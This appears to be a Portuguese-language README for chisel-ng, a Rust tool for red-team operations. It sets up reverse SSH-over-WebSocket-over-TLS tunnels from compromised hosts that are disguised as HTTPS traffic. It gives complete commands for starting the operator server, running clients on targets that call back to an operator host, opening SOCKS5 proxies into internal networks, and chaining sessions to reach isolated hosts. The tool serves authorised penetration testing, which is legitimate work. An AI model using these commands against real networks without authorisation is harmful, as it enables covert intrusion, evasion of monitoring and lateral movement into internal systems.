
Nova geração do Chisel, escrito em Rust. SSH sobre WSS com algumas personalizações.
_ _ _
___| |__ (_)___ ___| | _ __ __ _
/ __| '_ \| / __|/ _ \ |_____| '_ \ / _` |
| (__| | | | \__ \ __/ |_____| | | | (_| |
\___|_| |_|_|___/\___|_| |_| |_|\__, |
|___/
Uma implementação em Rust do chisel para testes de penetração e operações de equipe vermelha. Estabelece túneis reversos sobre SSH-sobre-WebSocket-sobre-TLS, permitindo que operadores pivotem através de hosts comprometidos enquanto se misturam com tráfego HTTPS normal.
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
Binários gerados em target/release/: chisel-server, chisel-client, chisel-bind-client
1. Iniciar servidor (operador):
./chisel-server -p 'secret' -v
2. Executar cliente (alvo):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
3. Criar túneis:
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
4. Aceder a serviços internos:
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
+------------------+ +----------------------------------+
| Operador | | Rede Alvo |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (sobre TLS)| | (reverso) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
Pilha de Protocolos:
TCP -> TLS 1.3 -> WebSocket -> SSH -> Dados do Túnel
^
aparece como HTTPS
Modos de Cliente:
chisel-client) - Conecta-se externamente ao servidorchisel-bind-client) - Escuta por conexões de entrada; o servidor utiliza o comando connectOPÇÕES:
-l, --listen <ADDR> Endereço de escuta [padrão: 0.0.0.0:8443]
-p, --psk <PSK> Chave pré-compartilhada ou senha [env: CHISEL_PSK]
--cert <FILE> Certificado TLS (PEM)
--key <FILE> Chave privada TLS (PEM)
--generate-psk Gerar PSK aleatório e sair
-v, --verbose Saída detalhada
OPÇÕES:
-s, --server <ADDR> Endereço do servidor (host:porta)
-p, --psk <PSK> Chave pré-compartilhada ou senha [env: CHISEL_PSK]
-u, --user <LABEL> Rótulo da sessão [padrão: agent]
-k, --insecure Ignorar verificação TLS
--no-reconnect Desativar reconexão automática
-i, --interval <SEG> Intervalo de reconexão [padrão: 30]
--heartbeat <SEG> Intervalo de heartbeat [padrão: 30]
-v, --verbose Saída detalhada
Para alvos que podem aceitar conexões de entrada mas não podem iniciar saídas:
OPÇÕES:
-l, --listen <ADDR> Endereço de escuta (ex.: 0.0.0.0:9000)
-p, --psk <PSK> Chave pré-compartilhada ou senha [env: CHISEL_PSK]
-u, --user <LABEL> Rótulo da sessão [padrão: agent]
-k, --insecure Ignorar verificação TLS
--heartbeat <SEG> Intervalo de heartbeat [padrão: 30]
-v, --verbose Saída detalhada
Menu Principal:
sessions Listar sessões conectadas
session <id> Selecionar uma sessão
connect <ip:porta> Conectar ao cliente bind
disconnect <id> Desconectar sessão (irá reconectar)
kill <id> Encerrar processo do cliente
Menu da Sessão:
tunnel <local>:<ip_alvo>:<porta_alvo> Criar túnel
tunnel --local <local>:<alvo>:<porta> Criar túnel (apenas localhost)
tunnel stop <porta> Parar túnel
tunnels Listar túneis
socks5 <porta> Iniciar proxy SOCKS5
socks5 stop <porta> Parar proxy SOCKS5
ping Medir latência
ps Listar processos remotos
netstat Listar conexões remotas
Alcance redes isoladas encadeando através de sessões existentes.
Cenário: O host DMZ pode alcançar o operador. O host interno (10.0.0.50) só pode ser alcançado a partir da DMZ.
+----------+ +-----------+ +------------+
| Operador |--SSH---| Sessão 1 |--TCP---| Sessão 2 |
| Servidor | | (DMZ) | | (INTERNO) |
+----------+ +-----------+ +------------+
Passo 1 - Iniciar servidor (operador):
./chisel-server -p 'secret' -v
Passo 2 - Executar cliente reverso (host DMZ):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
Passo 3 - Executar cliente bind (host interno em 10.0.0.50):
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
Passo 4 - Criar túnel e conectar (CLI do servidor):
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel started on 127.0.0.1:9000
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Session 2 registered
chisel-ng> session 2
[session-2] INTERNAL > socks5 1080
Ao criar um túnel (tunnel 8080:192.168.1.100:80):
Destinos dinâmicos através do handshake RFC 1928. Devolve códigos de erro adequados para resultados precisos de scan de portas.
As compilações de release são reforçadas:
--heartbeat 0Esta ferramenta destina-se apenas a testes de segurança autorizados. Obtenha a devida autorização antes de utilizar. Os autores não são responsáveis por uso indevido.
MIT